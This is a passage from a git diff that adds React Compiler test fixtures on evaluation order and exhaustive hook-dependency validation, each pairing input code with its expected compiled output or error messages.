+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             mutable call)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source) {
+  const $ = _c(6);
+  let t0;
+  let t1;
+  if ($[0] !== source) {
+    const arr = [1, 2, 3, ...source];
+    t0 = arr.length;
+    t1 = arr.push(0);
+    $[0] = source;
+    $[1] = t0;
+    $[2] = t1;
+  } else {
+    t0 = $[1];
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== t0 || $[4] !== t1) {
+    t2 = [t0, t1];
+    $[3] = t0;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
+
+```
+      
+### Eval output
+(kind: ok) [5,6]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.ts
new file mode 100644
index 000000000000..c2fa617f51c7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.ts
@@ -0,0 +1,23 @@
+/**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.push(...)
+ *
+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             mutable call)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source: Array<number>): [number, number] {
+  const arr = [1, 2, 3, ...source];
+  return [arr.length, arr.push(0)];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.expect.md
new file mode 100644
index 000000000000..b2bf1e36a487
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+/**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.length = 0
+ *
+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             property store)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source: Array<number>): [number, number] {
+  const arr = [1, 2, 3, ...source];
+  return [arr.length, (arr.length = 0)];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.length = 0
+ *
+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             property store)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source) {
+  const $ = _c(6);
+  let t0;
+  let t1;
+  if ($[0] !== source) {
+    const arr = [1, 2, 3, ...source];
+    t0 = arr.length;
+    t1 = arr.length = 0;
+    $[0] = source;
+    $[1] = t0;
+    $[2] = t1;
+  } else {
+    t0 = $[1];
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== t0 || $[4] !== t1) {
+    t2 = [t0, t1];
+    $[3] = t0;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
+
+```
+      
+### Eval output
+(kind: ok) [5,0]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.ts
new file mode 100644
index 000000000000..8798cd99c7f7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.ts
@@ -0,0 +1,23 @@
+/**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.length = 0
+ *
+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             property store)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source: Array<number>): [number, number] {
+  const arr = [1, 2, 3, ...source];
+  return [arr.length, (arr.length = 0)];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.expect.md
new file mode 100644
index 000000000000..e8e18395ecaa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  useEffect(
+    () => {
+      console.log(x);
+      // eslint-disable-next-line react-hooks/exhaustive-deps
+    },
+    [
+      /* intentionally missing deps */
+    ]
+  );
+
+  const memo = useMemo(() => {
+    return [x];
+  }, [x]);
+
+  return <ValidateMemoization inputs={[x]} output={memo} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies
+
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(10);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = () => {
+      console.log(x);
+    };
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = [];
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[3] !== x) {
+    t3 = [x];
+    $[3] = x;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  const memo = t3;
+  let t4;
+  if ($[5] !== x) {
+    t4 = [x];
+    $[5] = x;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  let t5;
+  if ($[7] !== memo || $[8] !== t4) {
+    t5 = <ValidateMemoization inputs={t4} output={memo} />;
+    $[7] = memo;
+    $[8] = t4;
+    $[9] = t5;
+  } else {
+    t5 = $[9];
+  }
+  return t5;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.js
new file mode 100644
index 000000000000..64817e701f0a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.js
@@ -0,0 +1,22 @@
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  useEffect(
+    () => {
+      console.log(x);
+      // eslint-disable-next-line react-hooks/exhaustive-deps
+    },
+    [
+      /* intentionally missing deps */
+    ]
+  );
+
+  const memo = useMemo(() => {
+    return [x];
+  }, [x]);
+
+  return <ValidateMemoization inputs={[x]} output={memo} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.expect.md
new file mode 100644
index 000000000000..d0a626e50eac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.expect.md
@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect, useEffectEvent} from 'react';
+
+function Component({x, y, z}) {
+  const effectEvent = useEffectEvent(() => {
+    log(x);
+  });
+
+  const effectEvent2 = useEffectEvent(z => {
+    log(y, z);
+  });
+
+  // error - do not include effect event in deps
+  useEffect(() => {
+    effectEvent();
+  }, [effectEvent]);
+
+  // error - do not include effect event in deps
+  useEffect(() => {
+    effectEvent2(z);
+  }, [effectEvent2, z]);
+
+  // error - do not include effect event captured values in deps
+  useEffect(() => {
+    effectEvent2(z);
+  }, [y, z]);
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.exhaustive-deps-effect-events.ts:16:6
+  14 |   useEffect(() => {
+  15 |     effectEvent();
+> 16 |   }, [effectEvent]);
+     |       ^^^^^^^^^^^ Functions returned from `useEffectEvent` must not be included in the dependency array. Remove `effectEvent` from the dependencies.
+  17 |
+  18 |   // error - do not include effect event in deps
+  19 |   useEffect(() => {
+
+Inferred dependencies: `[]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.exhaustive-deps-effect-events.ts:21:6
+  19 |   useEffect(() => {
+  20 |     effectEvent2(z);
+> 21 |   }, [effectEvent2, z]);
+     |       ^^^^^^^^^^^^ Functions returned from `useEffectEvent` must not be included in the dependency array. Remove `effectEvent2` from the dependencies.
+  22 |
+  23 |   // error - do not include effect event captured values in deps
+  24 |   useEffect(() => {
+
+Inferred dependencies: `[z]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.exhaustive-deps-effect-events.ts:26:6
+  24 |   useEffect(() => {
+  25 |     effectEvent2(z);
+> 26 |   }, [y, z]);
+     |       ^ Unnecessary dependency `y`
+  27 | }
+  28 |
+
+Inferred dependencies: `[z]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.js
new file mode 100644
index 000000000000..03e4a326f95b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.js
@@ -0,0 +1,27 @@
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect, useEffectEvent} from 'react';
+
+function Component({x, y, z}) {
+  const effectEvent = useEffectEvent(() => {
+    log(x);
+  });
+
+  const effectEvent2 = useEffectEvent(z => {
+    log(y, z);
+  });
+
+  // error - do not include effect event in deps
+  useEffect(() => {
+    effectEvent();
+  }, [effectEvent]);
+
+  // error - do not include effect event in deps
+  useEffect(() => {
+    effectEvent2(z);
+  }, [effectEvent2, z]);
+
+  // error - do not include effect event captured values in deps
+  useEffect(() => {
+    effectEvent2(z);
+  }, [y, z]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.expect.md
new file mode 100644
index 000000000000..cba2cb4b4aee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.expect.md
@@ -0,0 +1,40 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+function Component() {
+  const ref = useRef(null);
+  const onChange = useCallback(() => {
+    return ref.current.value;
+  }, [ref.current.value]);
+
+  return <input ref={ref} onChange={onChange} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found extra memoization dependencies
+
+Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-dep-on-ref-current-value.ts:7:6
+   5 |   const onChange = useCallback(() => {
+   6 |     return ref.current.value;
+>  7 |   }, [ref.current.value]);
+     |       ^^^^^^^^^^^^^^^^^ Unnecessary dependency `ref.current.value`
+   8 |
+   9 |   return <input ref={ref} onChange={onChange} />;
+  10 | }
+
+Inferred dependencies: `[]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.js
new file mode 100644
index 000000000000..f7a3ee43503a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.js
@@ -0,0 +1,10 @@
+// @validateExhaustiveMemoizationDependencies
+
+function Component() {
+  const ref = useRef(null);
+  const onChange = useCallback(() => {
+    return ref.current.value;
+  }, [ref.current.value]);
+
+  return <input ref={ref} onChange={onChange} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.expect.md
new file mode 100644
index 000000000000..6c1bddae85f9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const x = useMemo(() => {
+    return [state];
+    // error: `setState` is a stable type, but not actually referenced
+  }, [state, setState]);
+
+  return 'oops';
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found extra memoization dependencies
+
+Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-exhaustive-deps-disallow-unused-stable-types.ts:11:13
+   9 |     return [state];
+  10 |     // error: `setState` is a stable type, but not actually referenced
+> 11 |   }, [state, setState]);
+     |              ^^^^^^^^ Unnecessary dependency `setState`
+  12 |
+  13 |   return 'oops';
+  14 | }
+
+Inferred dependencies: `[state]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.js
new file mode 100644
index 000000000000..2bb03c366113
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.js
@@ -0,0 +1,14 @@
+// @validateExhaustiveMemoizationDependencies
+
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const x = useMemo(() => {
+    return [state];
+    // error: `setState` is a stable type, but not actually referenced
+  }, [state, setState]);
+
+  return 'oops';
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.expect.md
new file mode 100644
index 000000000000..2c864f56aff7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.expect.md
@@ -0,0 +1,162 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component({x, y, z}) {
+  const a = useMemo(() => {
+    return x?.y.z?.a;
+    // error: too precise
+  }, [x?.y.z?.a.b]);
+  const b = useMemo(() => {
+    return x.y.z?.a;
+    // ok, not our job to type check nullability
+  }, [x.y.z.a]);
+  const c = useMemo(() => {
+    return x?.y.z.a?.b;
+    // error: too precise
+  }, [x?.y.z.a?.b.z]);
+  const d = useMemo(() => {
+    return x?.y?.[(console.log(y), z?.b)];
+    // ok
+  }, [x?.y, y, z?.b]);
+  const e = useMemo(() => {
+    const e = [];
+    e.push(x);
+    return e;
+    // ok
+  }, [x]);
+  const f = useMemo(() => {
+    return [];
+    // error: unnecessary
+  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+  const ref1 = useRef(null);
+  const ref2 = useRef(null);
+  const ref = z ? ref1 : ref2;
+  const cb = useMemo(() => {
+    return () => {
+      return ref.current;
+    };
+    // error: ref is a stable type but reactive
+  }, []);
+  return <Stringify results={[a, b, c, d, e, f, cb]} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 4 errors:
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-exhaustive-deps.ts:7:11
+   5 | function Component({x, y, z}) {
+   6 |   const a = useMemo(() => {
+>  7 |     return x?.y.z?.a;
+     |            ^^^^^^^^^ Missing dependency `x?.y.z?.a`
+   8 |     // error: too precise
+   9 |   }, [x?.y.z?.a.b]);
+  10 |   const b = useMemo(() => {
+
+error.invalid-exhaustive-deps.ts:9:6
+   7 |     return x?.y.z?.a;
+   8 |     // error: too precise
+>  9 |   }, [x?.y.z?.a.b]);
+     |       ^^^^^^^^^^^ Overly precise dependency `x?.y.z?.a.b`, use `x?.y.z?.a` instead
+  10 |   const b = useMemo(() => {
+  11 |     return x.y.z?.a;
+  12 |     // ok, not our job to type check nullability
+
+Inferred dependencies: `[x?.y.z?.a]`
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-exhaustive-deps.ts:15:11
+  13 |   }, [x.y.z.a]);
+  14 |   const c = useMemo(() => {
+> 15 |     return x?.y.z.a?.b;
+     |            ^^^^^^^^^^^ Missing dependency `x?.y.z.a?.b`
+  16 |     // error: too precise
+  17 |   }, [x?.y.z.a?.b.z]);
+  18 |   const d = useMemo(() => {
+
+error.invalid-exhaustive-deps.ts:17:6
+  15 |     return x?.y.z.a?.b;
+  16 |     // error: too precise
+> 17 |   }, [x?.y.z.a?.b.z]);
+     |       ^^^^^^^^^^^^^ Overly precise dependency `x?.y.z.a?.b.z`, use `x?.y.z.a?.b` instead
+  18 |   const d = useMemo(() => {
+  19 |     return x?.y?.[(console.log(y), z?.b)];
+  20 |     // ok
+
+Inferred dependencies: `[x?.y.z.a?.b]`
+
+Error: Found extra memoization dependencies
+
+Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-exhaustive-deps.ts:31:6
+  29 |     return [];
+  30 |     // error: unnecessary
+> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+     |       ^ Unnecessary dependency `x`
+  32 |   const ref1 = useRef(null);
+  33 |   const ref2 = useRef(null);
+  34 |   const ref = z ? ref1 : ref2;
+
+error.invalid-exhaustive-deps.ts:31:9
+  29 |     return [];
+  30 |     // error: unnecessary
+> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+     |          ^^^ Unnecessary dependency `y.z`
+  32 |   const ref1 = useRef(null);
+  33 |   const ref2 = useRef(null);
+  34 |   const ref = z ? ref1 : ref2;
+
+error.invalid-exhaustive-deps.ts:31:14
+  29 |     return [];
+  30 |     // error: unnecessary
+> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+     |               ^^^^^^^ Unnecessary dependency `z?.y?.a`
+  32 |   const ref1 = useRef(null);
+  33 |   const ref2 = useRef(null);
+  34 |   const ref = z ? ref1 : ref2;
+
+error.invalid-exhaustive-deps.ts:31:23
+  29 |     return [];
+  30 |     // error: unnecessary
+> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+     |                        ^^^^^^^^^^^^^ Unnecessary dependency `UNUSED_GLOBAL`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+  32 |   const ref1 = useRef(null);
+  33 |   const ref2 = useRef(null);
+  34 |   const ref = z ? ref1 : ref2;
+
+Inferred dependencies: `[]`
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-exhaustive-deps.ts:37:13
+  35 |   const cb = useMemo(() => {
+  36 |     return () => {
+> 37 |       return ref.current;
+     |              ^^^ Missing dependency `ref`. Refs, setState functions, and other "stable" values generally do not need to be added as dependencies, but this variable may change over time to point to different values
+  38 |     };
+  39 |     // error: ref is a stable type but reactive
+  40 |   }, []);
+
+Inferred dependencies: `[ref]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.js
new file mode 100644
index 000000000000..c0f8d28837ab
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.js
@@ -0,0 +1,42 @@
+// @validateExhaustiveMemoizationDependencies
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component({x, y, z}) {
+  const a = useMemo(() => {
+    return x?.y.z?.a;
+    // error: too precise
+  }, [x?.y.z?.a.b]);
+  const b = useMemo(() => {
+    return x.y.z?.a;
+    // ok, not our job to type check nullability
+  }, [x.y.z.a]);
+  const c = useMemo(() => {
+    return x?.y.z.a?.b;
+    // error: too precise
+  }, [x?.y.z.a?.b.z]);
+  const d = useMemo(() => {
+    return x?.y?.[(console.log(y), z?.b)];
+    // ok
+  }, [x?.y, y, z?.b]);
+  const e = useMemo(() => {
+    const e = [];
+    e.push(x);
+    return e;
+    // ok
+  }, [x]);
+  const f = useMemo(() => {
+    return [];
+    // error: unnecessary
+  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+  const ref1 = useRef(null);
+  const ref2 = useRef(null);
+  const ref = z ? ref1 : ref2;
+  const cb = useMemo(() => {
+    return () => {
+      return ref.current;
+    };
+    // error: ref is a stable type but reactive
+  }, []);
+  return <Stringify results={[a, b, c, d, e, f, cb]} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.expect.md
new file mode 100644
index 000000000000..f9aac96434a3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveEffectDependencies:"extra-only"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // no error: missing dep not reported in extra-only mode
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // error: extra dep - y
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: extra dep - y (missing dep - z not reported)
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: extra dep - x.y
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps-extra-only.ts:13:9
+  11 |   useEffect(() => {
+  12 |     log(x);
+> 13 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+  14 |
+  15 |   // error: extra dep - y (missing dep - z not reported)
+  16 |   useEffect(() => {
+
+Inferred dependencies: `[x]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps-extra-only.ts:18:9
+  16 |   useEffect(() => {
+  17 |     log(x, z);
+> 18 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+  19 |
+  20 |   // error: extra dep - x.y
+  21 |   useEffect(() => {
+
+Inferred dependencies: `[x, z]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps-extra-only.ts:23:6
+  21 |   useEffect(() => {
+  22 |     log(x);
+> 23 |   }, [x.y]);
+     |       ^^^ Overly precise dependency `x.y`, use `x` instead
+  24 | }
+  25 |
+
+Inferred dependencies: `[x]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.js
new file mode 100644
index 000000000000..fcdc4c1a75ea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.js
@@ -0,0 +1,24 @@
+// @validateExhaustiveEffectDependencies:"extra-only"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // no error: missing dep not reported in extra-only mode
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // error: extra dep - y
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: extra dep - y (missing dep - z not reported)
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: extra dep - x.y
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.expect.md
new file mode 100644
index 000000000000..5a104f529eef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveEffectDependencies:"missing-only"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // error: missing dep - x
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // no error: extra dep not reported in missing-only mode
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: missing dep - z (extra dep - y not reported)
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: missing dep x
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Found missing effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should.
+
+error.invalid-exhaustive-effect-deps-missing-only.ts:7:8
+   5 |   // error: missing dep - x
+   6 |   useEffect(() => {
+>  7 |     log(x);
+     |         ^ Missing dependency `x`
+   8 |   }, []);
+   9 |
+  10 |   // no error: extra dep not reported in missing-only mode
+
+Inferred dependencies: `[x]`
+
+Error: Found missing effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should.
+
+error.invalid-exhaustive-effect-deps-missing-only.ts:17:11
+  15 |   // error: missing dep - z (extra dep - y not reported)
+  16 |   useEffect(() => {
+> 17 |     log(x, z);
+     |            ^ Missing dependency `z`
+  18 |   }, [x, y]);
+  19 |
+  20 |   // error: missing dep x
+
+Inferred dependencies: `[x, z]`
+
+Error: Found missing effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should.
+
+error.invalid-exhaustive-effect-deps-missing-only.ts:22:8
+  20 |   // error: missing dep x
+  21 |   useEffect(() => {
+> 22 |     log(x);
+     |         ^ Missing dependency `x`
+  23 |   }, [x.y]);
+  24 | }
+  25 |
+
+Inferred dependencies: `[x]`
+```
+          
+      
\ No newline at end of file
